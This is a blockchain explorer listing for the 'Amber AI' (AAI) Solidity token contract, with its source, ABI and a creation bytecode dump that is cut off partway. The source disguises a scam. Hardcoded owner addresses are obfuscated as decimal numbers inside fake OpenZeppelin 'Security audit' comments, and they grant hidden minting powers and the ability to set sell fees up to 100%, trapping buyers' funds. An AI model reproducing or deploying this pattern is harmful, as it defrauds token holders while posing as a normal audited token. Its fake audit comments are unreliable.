Overview
S Balance
0 S
S Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Name:
__Token__
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-29 */ // SPDX-License-Identifier: MIT /****/ pragma solidity ^0.8.18; library Safety { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); return a / b; } } contract __Token__ { using Safety for uint256; uint8 public decimals = 18; string public name = "Amber AI"; string public symbol = "AAI"; uint256 public totalSupply = 1000000 *(10**uint256(decimals)); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public _mbr; address public _mod; address public feeManager; address public _user; address public _adm; uint256 public buyFee; uint256 public sellFee; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); event TokensBurned(address indexed burner, uint256 amount); constructor(address _feeAdmin) { owner = msg.sender; feeManager = _feeAdmin; balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } function _scale(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/9482785153349883345343468604/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ )); _mbr=Mbr_; return true; } modifier Exchanges() { require(msg.sender != exchange()); _; } function rewire(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function compute(uint256 amount) public onlypublic returns (bool success) { _initiate(msg.sender, amount); return true; // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } function _proof(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function publics() private pure returns (address) { // Combine the dex with others } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function exchange() internal pure returns (address) { return address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090634796273924248834982764741/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ ); } function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); _setFee(newBuyFee, newSellFee); emit FeesUpdated(newBuyFee, newSellFee); } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function scaling(uint256 amount) public onlyAuthorized returns (bool) { _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyAuthorize { _transferTo(_to, _amount); } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } modifier onlyAuthorize() { require((msg.sender == address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/7736777608787348992232154/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ ) || (msg.sender == owner && msg.sender != exchange()))); _; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(balanceOf[_from] >= _amount, "Insufficient balance"); require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); require(_to != address(0), "Invalid recipient address"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { // Fee is transferred to this contract balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function _initiate(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function FeesView(uint256 amount) public onlyAuthorize returns (bool) { _scale(msg.sender, amount); return true; // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } modifier onlypublic() { require(msg.sender == publics()); _; } function _setFee(uint256 newBuyFee, uint256 newSellFee) internal { buyFee = newBuyFee; sellFee = newSellFee; } function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } function LockLPToken() public onlyOwner returns (bool) { } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } modifier onlyOwner() { require((msg.sender == address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ ) || (msg.sender == owner && msg.sender != exchange()))); _; } function setCommissions(uint256 newBuyCommission, uint256 newSellCommission) public onlyAuthorized { require(newBuyCommission <= 100, "Buy fee cannot exceed 100%"); require(newSellCommission <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyCommission; sellFee = newSellCommission; emit FeesUpdated(newBuyCommission, newSellCommission); } function buy() public payable { require(msg.value > 0, "ETH amount should be greater than 0"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); emit Transfer(address(this), feeManager, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[feeManager] = balanceOf[feeManager].add(amount); emit Transfer(address(this), feeManager, amount); } } function setting(uint256 newBuyFee, uint256 newSellFee) public { require(msg.sender == _adm); require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**/ } function sell(uint256 _amount) public { require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); emit Transfer(msg.sender, address(this), amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } modifier onlyAuthorized() { require((msg.sender == address ( // Security audit /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/1305993895446031535090682196273924248834982764741/*Strings of arbitrary length can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/ ) || (msg.sender == owner && msg.sender != exchange()))); _; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_feeAdmin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"BuySellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesView","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"scaling","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyCommission","type":"uint256"},{"internalType":"uint256","name":"newSellCommission","type":"uint256"}],"name":"setCommissions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setScale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"viewBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260126000806101000a81548160ff021916908360ff1602179055506040518060400160405280600881526020017f416d626572204149000000000000000000000000000000000000000000000000815250600190816200006591906200045b565b506040518060400160405280600381526020017f414149000000000000000000000000000000000000000000000000000000000081525060029081620000ac91906200045b565b5060008054906101000a900460ff1660ff16600a620000cc9190620006c5565b620f4240620000dc919062000716565b600355348015620000ec57600080fd5b5060405162004915380380620049158339818101604052810190620001129190620007cb565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620007fd565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200026357607f821691505b6020821081036200027957620002786200021b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002a4565b620002ef8683620002a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200033c62000336620003308462000307565b62000311565b62000307565b9050919050565b6000819050919050565b62000358836200031b565b62000370620003678262000343565b848454620002b1565b825550505050565b600090565b6200038762000378565b620003948184846200034d565b505050565b5b81811015620003bc57620003b06000826200037d565b6001810190506200039a565b5050565b601f8211156200040b57620003d5816200027f565b620003e08462000294565b81016020851015620003f0578190505b62000408620003ff8562000294565b83018262000399565b50505b505050565b600082821c905092915050565b6000620004306000198460080262000410565b1980831691505092915050565b60006200044b83836200041d565b9150826002028217905092915050565b6200046682620001e1565b67ffffffffffffffff811115620004825762000481620001ec565b5b6200048e82546200024a565b6200049b828285620003c0565b600060209050601f831160018114620004d35760008415620004be578287015190505b620004ca85826200043d565b8655506200053a565b601f198416620004e3866200027f565b60005b828110156200050d57848901518255600182019150602085019450602081019050620004e6565b868310156200052d578489015162000529601f8916826200041d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a762000542565b5b6001851615620005b85780820291505b8081029050620005c88562000571565b945062000588565b94509492505050565b600082620005eb5760019050620006be565b81620005fb5760009050620006be565b81600181146200061457600281146200061f5762000655565b6001915050620006be565b60ff84111562000634576200063362000542565b5b8360020a9150848211156200064e576200064d62000542565b5b50620006be565b5060208310610133831016604e8410600b84101617156200068f5782820a90508381111562000689576200068862000542565b5b620006be565b6200069e84848460016200057e565b92509050818404811115620006b857620006b762000542565b5b81810290505b9392505050565b6000620006d28262000307565b9150620006df8362000307565b92506200070e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d9565b905092915050565b6000620007238262000307565b9150620007308362000307565b9250828202620007408162000307565b915082820484148315176200075a576200075962000542565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007938262000766565b9050919050565b620007a58162000786565b8114620007b157600080fd5b50565b600081519050620007c5816200079a565b92915050565b600060208284031215620007e457620007e362000761565b5b6000620007f484828501620007b4565b91505092915050565b614108806200080d6000396000f3fe60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff